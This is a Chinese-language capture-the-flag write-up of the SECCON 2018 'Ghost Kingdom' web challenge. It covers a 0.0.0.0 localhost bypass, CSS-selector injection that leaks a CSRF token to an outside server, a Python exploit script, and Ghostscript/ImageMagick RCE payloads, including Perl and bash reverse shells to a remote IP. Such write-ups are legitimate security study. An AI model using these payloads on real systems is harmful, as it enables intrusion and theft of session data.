最近打了SECCON CTF2018,只有一道唯一的web题,质量挺不错,学到了新姿势。
Ghost Kingdom
题目介绍
先简单介绍一下题目,有注册、登录、message to admin、take a screenshot、upload image几个功能

所有功能的实现都是以get请求的方式完成,upload image功能提示必须从localhost登录才能使用。take a screenshot功能是传入一个url,返回那个url的截屏。一开始,理所当然地以为是要XSS+SSRF之类的,毕竟有一个message to admin功能,后面才发现想错了。<>被实体编码了,会原封不动放到页面上,这里是无法进行XSS的,需要另想办法。
利用take a screenshot功能在localhost登录
前面说了,所有请求都是get请求,所以我们是可以通过这个功能的url去实现登录的,直接用127.0.0.1不行
可以用0.0.0.0绕过,然后实现登录。
CSS注入
在进一步探索中,我们可以发现两个点。
- 在
message to admin页面,有一个preview的功能,可以发现它的参数有些奇怪,比如http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3Csadsa%3E&action=msgadm2这个css参数解码出来是span{background-color:red;color:yellow},与页面呈现出来的符合。查看源码可以看到它被嵌入到了代码中。
- 源码中可以看到有一个
hidden的input,存了一个csrf的值,我们可以发现,这个值跟当前的cookie值是相同的。
综合这两点,可以用一个新姿势,也就是CSS注入。CSS注入的payload是这样的1
2
3
4input[value^="0"] {background: url(http://123.207.99.17/?csrf=0)}
input[value^="1"] {background: url(http://123.207.99.17/?csrf=1)}
input[value^="2"] {background: url(http://123.207.99.17/?csrf=2)}
etc...
用到了css的选择器的性质,符合不同的选择器就会向VPS发送不同的请求。根据这个,结合take a screenshot功能,我们就可以拿到用户在localhost的cookie,然后使用upload image功能。exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#encoding:utf-8
import requests,base64
headers={'Host': 'ghostkingdom.pwn.seccon.jp',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://ghostkingdom.pwn.seccon.jp/?action=sshot',
'Connection': 'close',
'Cookie': 'CGISESSID=3bd2c1e04825a87e83633a',
'Upgrade-Insecure-Requests': '1'}
proxies={'http':'http://127.0.0.1:8080'}
def getBase64(s):
z = []
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
st = s+i
z.append('input[value^="{}"] {{background: url(http://123.207.99.17/?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))
def formatURL(s):
return "http://0.0.0.0/?css={}%%26action=msgadm2".format(s)
r=requests.get(url='http://ghostkingdom.pwn.seccon.jp/?url='+formatURL(getBase64(''))+'&action=sshot2',
headers=headers,timeout=2,proxies=proxies)
需要点时间,最后拿到了cookie
利用Ghostscript漏洞进行RCE
然后我们可以使用文件上传功能了,上传上去的文件,可以convert to gif format
随便传一个非图片的文件上去,会报错
搜索报错信息,可以发现这里用的是一个叫ImageMagick的图片格式转换工具,进而可以搜到Ghostscript的远程代码执行漏洞.
Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件
ImageMagick无法直接实现pdf文档到图片的转换,需要借助于ghostscript软件包
在这里可以找到ghostscriptRCE的POC
列目录的exp1
2
3
4
5
6%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops
然后,读flag1
2
3
4
5
6%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops

用perl可以反弹shell1
2
3
4
5
6%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%perl -e 'use Socket;$i="123.207.99.17";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};') currentdevice putdeviceprops
bash也可以bash -c '/bin/bash -i >& /dev/tcp/123.207.99.17/2333 0>&1'
额外的发现
像前面那个CSS注入的方法,在chrome和在firefox中有一些不同,研究了我半天,终于破案了。直接上图type=hidden:
firefox:
chrome:
type=text:
firefox:
chrome:
其他标签的属性没有深究。